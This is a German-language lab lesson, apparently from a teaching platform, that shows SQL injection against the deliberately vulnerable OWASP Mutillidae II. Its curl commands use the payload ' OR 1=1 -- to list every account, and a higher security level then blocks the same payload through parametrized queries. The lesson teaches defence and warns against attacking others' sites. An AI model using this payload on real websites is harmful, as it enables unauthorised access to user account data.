Was du machst
Eine Website fragt eine Datenbank nach Informationen. Sie nutzt dafür eine Frage in einer Sprache namens SQL. Setzt die Website deine Eingabe einfach in diese Frage ein, kannst du die Frage verändern. Das heißt SQL-Injection und ist eine der häufigsten Schwachstellen im Web. Mutillidae ist eine Website, die damit absichtlich gebaut wurde. Du suchst ein Konto, änderst dann den Namen so, dass die Seite dir alle Konten zeigt, erhöhst die Sicherheitsstufe und probierst es noch einmal.
Die eine Regel
Warnung
In diesem Lab läuft eine Website, die absichtlich unsicher ist. Greife sie an und sonst nichts. Es ist deine eigene, private Kopie ohne Verbindung zum Internet, daher kann niemand sonst betroffen sein. Probiere das niemals bei einer Website aus, die nicht dir gehört: Im Vereinigten Königreich ist das eine Straftat nach dem Computer Misuse Act 1990.
Bevor du anfängst
Notiz
Klicke oben in der Leiste dieser Lektion auf Lab starten und warte, bis dort steht, dass es läuft. Die Website ist der Dienst namens www, und das Terminal erreicht sie unter diesem Namen. Im Browser öffnest du sie über den Link OWASP Mutillidae II in der Leiste. Jede Schaltfläche Ausführen unten tippt ihren Befehl ins Terminal deines Labs, einen nach dem anderen in derselben Sitzung. Wenn du zuschauen oder eigene Befehle tippen willst, klicke in der Leiste auf Terminal öffnen (neuer Tab).
1. Melde dich an und suche ein Konto
Der erste Befehl meldet dich als admin an und speichert die Anmeldung in einer Datei namens jar, so wie ein Browser ein Cookie speichert. Er gibt 302 aus und eine Adresse, die auf AU1 endet: Die Seite hat die Anmeldung angenommen und dich weitergeleitet. Der zweite fragt die Benutzersuche nach dem Namen admin. Ausgegeben wird nur die Anzahl der Funde: 1 records found.
curl -s -c jar -d "username=admin&password=adminpass&login-php-submit-button=Login" -o /dev/null -w "%{http_code} %{redirect_url}\n" "http://www/index.php?page=login.php"Hier angezeigt, nicht ausgeführt. Erstellen Sie ein kostenloses Konto, um „Ausführen“ zu drücken und ihn im Terminal Ihres eigenen Labs einzugeben.
curl -s -b jar -c jar -G "http://www/index.php" --data-urlencode "page=user-info.php" --data-urlencode "username=admin" --data-urlencode "password=adminpass" --data-urlencode "user-info-php-submit-button=View Account Details" | grep -o "[0-9]* records found"Hier angezeigt, nicht ausgeführt. Erstellen Sie ein kostenloses Konto, um „Ausführen“ zu drücken und ihn im Terminal Ihres eigenen Labs einzugeben.
2. Verändere die Frage
Jetzt lautet der Name ' OR 1=1 -- . Das ' hat die Frage der Website zu früh beendet. OR 1=1 hat eine Bedingung hinzugefügt, die immer wahr ist. -- hat dafür gesorgt, dass die Datenbank den Rest ignoriert. Die Antwort ist 40 records found: jedes Konto der Seite, obwohl du nach einem gefragt hast. Die Website hat deiner Eingabe vertraut.
curl -s -b jar -c jar -G "http://www/index.php" --data-urlencode "page=user-info.php" --data-urlencode "username=' OR 1=1 -- " --data-urlencode "password=adminpass" --data-urlencode "user-info-php-submit-button=View Account Details" | grep -o "[0-9]* records found"Hier angezeigt, nicht ausgeführt. Erstellen Sie ein kostenloses Konto, um „Ausführen“ zu drücken und ihn im Terminal Ihres eigenen Labs einzugeben.
3. Erhöhe die Sicherheitsstufe und probiere es noch einmal
Toggle Security im Menü der Seite schaltet die Sicherheitsstufe von 0 auf 1 und dann auf 5. Dieser eine Befehl drückt es zweimal, daher ist die Stufe jetzt 5. Die Seite zeigt sie neben ihrem Titel. Der zweite Befehl ist genau dieselbe Injection wie in Schritt 2, und jetzt antwortet die Seite mit 0 records found. Auf Stufe 5 schickt die Seite deinen Text getrennt von der Frage. Er kann daher immer nur ein Wert sein und nie Teil der Frage. Das heißt parametrisierte Abfrage, und so schützt sich eine Website vor diesem Angriff.
curl -s -b jar -c jar -L -o /dev/null -o /dev/null "http://www/index.php?do=toggle-security&page=home.php" "http://www/index.php?do=toggle-security&page=home.php"Hier angezeigt, nicht ausgeführt. Erstellen Sie ein kostenloses Konto, um „Ausführen“ zu drücken und ihn im Terminal Ihres eigenen Labs einzugeben.
curl -s -b jar -c jar -G "http://www/index.php" --data-urlencode "page=user-info.php" --data-urlencode "username=' OR 1=1 -- " --data-urlencode "password=adminpass" --data-urlencode "user-info-php-submit-button=View Account Details" | grep -o "[0-9]* records found"Hier angezeigt, nicht ausgeführt. Erstellen Sie ein kostenloses Konto, um „Ausführen“ zu drücken und ihn im Terminal Ihres eigenen Labs einzugeben.
Für Lehrkräfte
Tipp
Diese Lektion ist ein kleines Beispiel für eine Lektion, die in einem Lab abläuft: Die Schritte und die Schaltflächen „Ausführen“ sind die Lektion, und das Lab ist die eigene Kopie jeder lernenden Person. Mutillidae hat Dutzende weitere Schwachstellen, von Cross-Site-Scripting bis LDAP-Injection, daher reicht dasselbe Lab für eine ganze Unterrichtseinheit. Nichts wird für dich bewertet: Bitte um einen Screenshot jeder Übung und um einen Satz dazu, was der Code falsch gemacht hat. Kopiere die Lektion in dein eigenes Modul und ändere sie, oder baue im Lektionseditor über das Menü Lab eine neue von Grund auf.